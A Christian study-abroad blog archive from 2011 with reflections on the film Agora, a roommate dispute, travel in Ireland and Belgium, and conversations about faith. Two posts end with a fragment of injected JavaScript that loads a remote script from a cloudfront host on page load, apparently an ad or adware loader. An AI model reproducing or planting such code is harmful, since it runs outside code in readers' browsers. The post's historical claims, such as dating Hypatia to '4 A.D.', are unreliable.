Archive for November, 2011

20 November 2011

Please watch Agora about the change of political powers in 4 A.D. See during this time, Alexandria became the wise capital of the world, after Athens fall.  However, this is also the time where Christianity rose as the Roman Empire took over the new world.  Christianity, although a religious practice, was more concerned with the partnership of the Roman politic regime than with God Himself, and therefore this movie documents the battles between Christians and philosophers, then Christians and Jews, and finally the Christian tyranny–in my perspective.

See Hypatia, the most famous female philosopher of the time period studied astronomy.  She was fascinated by the motion of the earth around the sun, or perhaps the sun was split perfectly into 2 and the earth moved around them, so that the sum of the two was equal.  My summary of her last theory.

During this time period, the philosophers were all converting to Christianity, but Hypatia refused. She refused to believe in any one thing, for as a philosopher her belief was in the ability to question.  She restrained from believing in any one God, as she did not desire to succumb by any one way of life.  She loved to search for her own answers and research the ways of the Wanders–the planets.

Aristides, one of Hypatia’s former disciples, almost love interest, and a 4 A.D. Roman politician, considered the wanderers to be much more wondrous if they did actually wander, randomly.  Later he too, gave up the search of answers and chose a life of obedience to Christianity and the Roman Empire.

All this to say, her denial of Christianity led to her death.  Hypatia lived to see the greatest of all libraries burnt to the grown.  All the scrolls destroyed.  She lived to see Jews and Christians exiled by one another.  Fighting over their differences. Hypatia always believed that is one is like another, then the two are like the third.  Therefore, she believed in a world without violence, her father, the Director of Alexandria in the beginning, made the unfortunate call for ending Christianity, and there began the fall of philosophy.

Now, have you watched the movie? Go now.

Alright…now that you understand the history of Greek and Roman history, the transition of wisdom into warriors, and the desired power of Egypt in 4 A.D., consider that Jesus died 400 years before these mass murders occurred.

How do so many people interpret God’s word in such ways?

Did He not call us to love one another? To care for our own bodies as His temple? To carry His word as the Truth, and to spread His word across all the nations?

God’s family is the most amazing family one could ever join, for it is constantly expanding.

God’s desire is not for worldly power, but for a loving community, a community of people growing closer to Him, being embraced in His arms.

In 4 A.D. it saddens me that Hypatia felt she would rather die than choose God, but not because she chose one over the other, but because she felt there was no freedom in obedience to God.

I would consider myself a modern philosopher.  To me, there is no point to life other than to question what is, and grow in wisdom of what could be.  Now, I do understand that the only absolute answer to life is indeed God, but I also know that I will not know all until the day that I am physically, spiritually, emotionally, mentally, and in every way completely committed and in His presence in Heaven.  And even at this time, I still may not be all-knowing.  I am okay with this thought.

But for Hypatia, Christianity was a life of conquering, a life of battle wounds, of blood, and of personal sacrifice.

It pains me to think that those who “knew God” once that there was no questioning life in itself. It pains me to think that those who “loved God” killed those who did not know God’s love–no quotes.

“For God so loved the world, that He gave His one and only begotten Son” (John 3:16).

400 years after His son was given and died on the cross..God sacraficed for us, who now thinks that all human kind should sacrifice for Him?

That was the point of the cross! So that no future sacraments were necessary.

Anyhow, since watching this movie, I was present for a conversation with a two girl friends.  The first lets call Sally, and the second, Tabitha. Obviously fraudulent names.

Sally belongs to a Christian Scientology church in America, and Tabitha claims to live for God and Christ each and every day.

While enjoying an Olive Oil tasting paired with a nice glass of Vino Rosso, Sally asks me about the church I attend in Firenze.  As I speak about the worship and fellowship, she shows interest.

Tabitha then mentions she attends the church as well. (In reality she came for the very first service ever, which was still not organized..and has not returned since).

While Sally tells me she would like to come, and explains a little of her beliefs in moral rights more so than Biblical laws, Tabitha tells Sally, “Believing that all religions are the same, is in a way, denying all religions.”

Turned off, Sally and I both stop speaking and Tabitha continued on.

Fortunately, tonight, Sally joined me for church, and as I foresaw: there was no Tabitha at the service.

Although Sally may believe in multiple gods, and her beliefs do not align with my own personal deity, she still stayed longer for prayer afterward, she enjoyed the songs of worship, and she was introduced to many faces of one true God.

We may agree to disagree at times, but is it better to deny someone the invitation of fellowship than to listen–not even accept– another worldview.

My conclusion: We all need God. Yes? YES!

I know that not every Christian today was convinced that God desired a personal relationship with them in their first days on earth, so why should I expect that from any one person?

I don’t. God is a patient God, so I must be patient with someone in choosing a life of growing closer with God.

The Holy Spirit is a bright light in those who believe, so when lost, I can find my way home to the Lord Almighty. I pray this is true for Sally, Tabitha, my father, chocolate boy, and so many other people in my life right now, but mostly, I pray for those who do believe in God as the ONLY GOD, that we understand hypocrisy and STAY CLEAR! That we truly love others as we are LOVED BY GOD, and that we, with arms open wide invite everyone into the family of God.


Read Full Post »

20 November 2011

Literally speechless, as I grabbed onto my Bible to search for a scripture to lead into this blog, I found it in pieces. As my Anti-God roommate put it, “so much for being indestructible.”

Although it is now pages separated from the leather binding, the Word stands strong:

Romans 12:10-16 “Love each other with genuine affection, and take delight in honoring each other.  Never be lazy, but work hard and serve the Lord enthusiastically.  Rejoice in our confident hope.  Be patient in trouble, and keep on praying.  When God’s people are in need, be ready to help them.  Always be eager to practice hospitality. Bless those who persecute you.  Don’t curse them; pray that God will bless them.  Be happy with those who are happy, and weep with those who weep. Live in harmony with each other.  Don’t be too proud to enjoy the company of ordinary people. And don’t think you know it all!”

Last night, after two nights of sleepovers elsewhere, I return to my roommate complaining about having no hot water.  However, this morning when I am preparing a bath, my roommate snaps at me for not calling our program to fix it.  It is a Sunday–a day of rest.  I said, ” I do not consider this an emergency, so I will contact them tomorrow.” She turned away in a hurry very defensive and I have not seen her since.

There are a few things that come to mind in this instance:

1.  I am patient enough to boil water for 40 minutes in order to prepare a less cold bath for myself this morning

2. I am the only individual in this apartment without a phone, so how did she expect me to contact them, immediately?

3.  I am the last to hear of the hot water being absent this weekend, so why am I held responsible?

4.  How am I able to be so patient with an object (waiting on the bath), but quickly frustrated by my roommate facing the same hardship as I?

In answering point 4, I recognize that perhaps, I know how to handle the immediate need–boiling water and using blankets–so I am able to prepare my head for the rest of my day’s demands, whereas the others in the room are convinced that the world is about to end: so they blame the city of Florence, for poor water structures.

My impatience in this apartment are derived in the fashion, that we are studying together in an ancient city.  Yes, we all chose Florence for different reasons, but none of our reasons should align with our normal lifestyles in America.  Florence, Italy is not America. America is not Hollywood. And we are not spoiled brats being taken care of by the staff of ISA.  We are living on our own in another country.  So figure it out!

I know that last paragraph seems rather harsh, but those were the ideas lingering in my head as we spoke for that short exchange.  Only, I know to censor my expressions and avoid further conflict.

Still, the question exists: Why is it so easy to be patient with a situation and not with people?

A situation may involve an object, as the heat in the apartment.  A conflict of interest with another person, involves just that: people. Things are easier to control than people, and therefore, in selfishness, I am able to come out of a situation with an object stronger, in command, unlike a prolonged confrontation with another individual.

Life is hard.  It is meant to be hard, for if we were to live in perfection, no man or woman would ever capture the beauty of God’s grace.

Harmony is sometimes hard to picture, but in times like these, it best be not to run, and to bow down and pray!

Whether the other party knows the Love of God or not, He is mightier than any trouble that keeps us bickering.  He does not desire for our eyes to see evil, and He does answer prayer.

We have an Everlasting Love through the Lord, and it best be shared among all the people we encounter.

No more spitefulness.  No more dishonor.  No more judgment. Just love, honor, and respect.

Read Full Post »

26 October 2011

What are we supposed to think of people? Are they good or evil? Can we change our ways?

Although these aren’t the source of my thoughts today, for I have spent time with Godly people on this trip, but still find myself crafting opinions of their ways.

A girl I have known for some time, who is similar to my nature-loving, out-going side, but more eccentric, has challenged my original impression.  Recently, our plans of transportation fell through from Galway to Belfast.  They fell through meaning they never existed.  It was all imagined that we would have this easy day of seeing the Cliffs of Moher and finding our destination, but you know our God..

We took the tour bus back towards Dublin, just missing the 8 feet of rain. Our 2 1/2 hour bus ride set for a 9 o’clock arrival dropped us off closer to 11:30pm. We were famished and sleepy, craving a girls’ night of pizza and a movie.

Having been back in Dublin unexpectedly, we were without shelter for the second night in a row.  Quickly, we decided to return to the hostel (Ashfield Hostel, Dublin) that treated us very well the night before, and certainly enough they gave us last-minute, private accommodations for cheap a second time. In our arriving moment, we were asked by 3 parties of people to join for a night of food and fun.  Although they anticipated Temple Bar, we all joined for quick pizza purchasing, laughter, and a photo, and then parted ways.

A fail of planning was most definitely God opening another window to see His answer to our prayers: the opportunity to see His lovingkindess in many different faces.

Our mission is to seek Him in everyone.  To know Him as well as we can.

For me, right now, I am on a mission to understand the male characteristics of God Himself, as I do not understand them coming from a family of non-believers.

Whether every person we met on this trip around Ireland knew Christ or not, we continued to laugh, to giggle, to rest, and see life as a treasure: wealthy in the riches of God’s majesty.

For this one girl, God knows I love her, but He continued to challenge my ways through her actions.  I never knew how quickly I can become peeved at someone so kind at heart.

Christianity is about forgiving.  Friendship, love, is about forgiving.

If I were to only ever meet someone for one time and blow them off time and time again, how would I ever give God a chance?

In actuality, life is about the acceptance God has given me. For even when I do not ask for forgiveness, it is received.  God is my example of a loving heart.

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Read Full Post »

15 November 2011

A week ago from today I found out my brother made the  permanent declaration of his absence from religion.  He placed on his body a piece of his own craftsmanship–which is well-received–symbolizing his childhood fusion of Christian and Jewish celebrations.  However, when asked: “Did you know that Christianity and Judaism share the same Old Testament?” He had no idea what I meant.

Neither did my father.

See, Danny does not know this, but it was so easy for him to tell my parents about his decision, because I prepared them for his announcement.  It wasn’t me tattling on the action, but more so the significance of the particular piece of art displayed on his bicep.

Bluntly, I asked my father and mother what they believe in.

And for the first time in my entire life, I heard:

I believe God, or some divine being made the first atom-the first particle of life-but since then evolution has led to the advancement of human kind.  There was no such first man such as Adam and Eve, humans evolved just as Darwin has stated.

Whereas, my mother, I am still unsure of her beliefs, but she regrets not fighting for us to be in a church setting as children.  She regrets being lazy to fight for something greater in life than materialistic gift-giving holidays.

I would call this a  heavy conversation for their first night reunited with me in Italy.

Then… as our travels continued to Belgium, I had the opportunity to meet someone we will call Chocolate-boy, as said by my littlest brother.

Although our meeting took place while he was behind the counter of a French-labeled chocolate store, we were able to communicate later that night.

Let us just recognize him as one of the most honest guys I have ever met.  So much so, that one of our first five topics of the night introduced a rather long conversation on religion: Christianity, Judaism, Catholicism, and Atheism.

I quickly found out his entire family and all of his friends live life with no God in consideration, and the opportunities the Belgian school district supplied. We discussed gaming, smoking, drug-abuse, parent guidelines, open-relationships, and so many more topics I am rather sheltered by.

When passing through a main center of town: Burg Square, he told me of a vile of blood considered to be Jesus’ from one of the great Crusades. Although he does not believe in Jesus as the Son of God, he does recognize Jesus as a good man with a talent to speak. A man who drew many crowds.

With so little said on the topic of Jesus, I could not decipher whether Jesus was seen as a tyrant to this particular Atheist population, or if he was seen as a role model, a model of morals to all the people who heard of his teachings.

Later I asked, what is hope to you? What do you have hope in?

Although taken offense at first, we clarified that hope for him was in living today the best he could, for the end could come whenever, but at that time, it would be the right time to end the life he is living.

For me, hope is not in living an eternity in Heaven as a perfect being, but rather seeing life as it really is through the right pair of eyes–God’s perception of His own creation.

Being an Atheist is one thing, but what about those who decide to never make a decision.  Does this laziness come from a fear of something, Someone, greater than ourselves?

If so, as a Christian, I am to only fear God…

Mark Twain states: “Do the thing you fear most and the death of fear is certain.”

If I am to fear God’s might most, then in turn, I will become most like the Almighty example, God Himself.

“We gain strength, and courage, and confidence by each experience in which we really stop to look fear in the face… we must do that which we think we cannot.” –Eleanor Roosevelt

I do not fear learning about things I do not identify with.  I do not fear those who are different from me. Rather, I applaud chocolate-boy for his honesty, for giving me a new set of eyes to look at life through.

He has made a decision, and although I pray for a change of heart, he is who he is, and I only wish my own family would be brave enough to make some decision.  Choosing to follow God and know that Jesus is the messenger, the receiver of life, is astonishing, the biggest change one can dream of in a lifetime. But to avoid choosing to follow, in my mind this can be worse than turning away from God for some time…

Eleanor Roosevelt was a wise woman, “We are afraid to care too much, for fear that the other person does not care at all…”

God’s caring heart never fails to reach out to those who feel alone. His love is everlasting.  We may break His heart time and time again, but He will never leave us in the dark.

My prayer is for each of us to study our own habits, our loves, our interests, our passions.  To become so aware of who we are and what we do, that we can only thank the One who allowed us to be how we are today, tomorrow, and in the days to come.

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

Read Full Post »